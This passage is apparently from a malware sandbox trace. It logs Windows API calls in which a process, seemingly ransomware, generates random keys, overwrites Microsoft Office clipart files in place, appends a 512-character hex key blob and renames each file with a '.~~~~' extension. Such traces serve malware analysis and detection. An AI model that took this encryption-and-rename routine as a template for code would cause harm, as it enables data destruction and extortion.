	[0113.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.260] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23325031024) returned 1
	[0113.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad1b5650, dwHighDateTime=0x1d60e1e)) 
	[0113.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830d08
	[0113.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830d08 | out: hHeap=0x300000) returned 1
	[0113.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834c80
	[0113.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.261] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.261] GetLastError () returned 0x0
	[0113.262] GetLastError () returned 0x0
	[0113.262] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.262] GetLastError () returned 0x0
	[0113.262] GetLastError () returned 0x0
	[0113.267] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.267] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.269] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.269] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.269] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.269] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.270] CloseHandle (hObject=0x138) returned 1
	[0113.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.~~~~")) returned 1
	[0113.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.271] GetLastError () returned 0x0
	[0113.271] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.273] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.273] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.273] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23326325192) returned 1
	[0113.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad1db7b0, dwHighDateTime=0x1d60e1e)) 
	[0113.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830d40
	[0113.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830d40 | out: hHeap=0x300000) returned 1
	[0113.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834db0
	[0113.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.274] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.274] GetLastError () returned 0x0
	[0113.274] GetLastError () returned 0x0
	[0113.275] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.275] GetLastError () returned 0x0
	[0113.275] GetLastError () returned 0x0
	[0113.278] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.279] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0113.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.280] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.280] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.280] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.280] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.281] CloseHandle (hObject=0x138) returned 1
	[0113.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f5578
	[0113.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.~~~~")) returned 1
	[0113.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5578 | out: hHeap=0x300000) returned 1
	[0113.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.286] GetLastError () returned 0x0
	[0113.287] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.288] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.288] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.288] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23327845093) returned 1
	[0113.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad201910, dwHighDateTime=0x1d60e1e)) 
	[0113.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830d78
	[0113.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830d78 | out: hHeap=0x300000) returned 1
	[0113.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f5578
	[0113.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834e48
	[0113.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5578 | out: hHeap=0x300000) returned 1
	[0113.297] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.297] GetLastError () returned 0x0
	[0113.298] GetLastError () returned 0x0
	[0113.298] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.298] GetLastError () returned 0x0
	[0113.298] GetLastError () returned 0x0
	[0113.301] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.301] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0113.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.303] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.303] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.303] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.303] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.303] CloseHandle (hObject=0x138) returned 1
	[0113.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f5620
	[0113.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.~~~~")) returned 1
	[0113.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5620 | out: hHeap=0x300000) returned 1
	[0113.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.305] GetLastError () returned 0x0
	[0113.305] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.306] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.306] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.307] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23329670762) returned 1
	[0113.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad227a70, dwHighDateTime=0x1d60e1e)) 
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830db0
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830db0 | out: hHeap=0x300000) returned 1
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f5620
	[0113.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b04e0
	[0113.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5620 | out: hHeap=0x300000) returned 1
	[0113.307] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.308] GetLastError () returned 0x0
	[0113.308] GetLastError () returned 0x0
	[0113.308] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.308] GetLastError () returned 0x0
	[0113.308] GetLastError () returned 0x0
	[0113.310] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.310] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.312] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.312] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.312] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.312] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.312] CloseHandle (hObject=0x138) returned 1
	[0113.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f5620
	[0113.312] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.~~~~")) returned 1
	[0113.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5620 | out: hHeap=0x300000) returned 1
	[0113.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.313] GetLastError () returned 0x0
	[0113.314] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.315] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.315] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.315] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23330540399) returned 1
	[0113.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad24dbd0, dwHighDateTime=0x1d60e1e)) 
	[0113.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830de8
	[0113.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830de8 | out: hHeap=0x300000) returned 1
	[0113.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f5620
	[0113.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866770
	[0113.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5620 | out: hHeap=0x300000) returned 1
	[0113.316] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.317] GetLastError () returned 0x0
	[0113.317] GetLastError () returned 0x0
	[0113.317] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.317] GetLastError () returned 0x0
	[0113.317] GetLastError () returned 0x0
	[0113.320] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff22b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.320] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xdd5, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xdd5, lpOverlapped=0x0) returned 1
	[0113.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.321] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.321] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.321] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.321] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.321] CloseHandle (hObject=0x138) returned 1
	[0113.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f5578
	[0113.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.~~~~")) returned 1
	[0113.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5578 | out: hHeap=0x300000) returned 1
	[0113.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.323] GetLastError () returned 0x0
	[0113.323] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.324] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.324] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
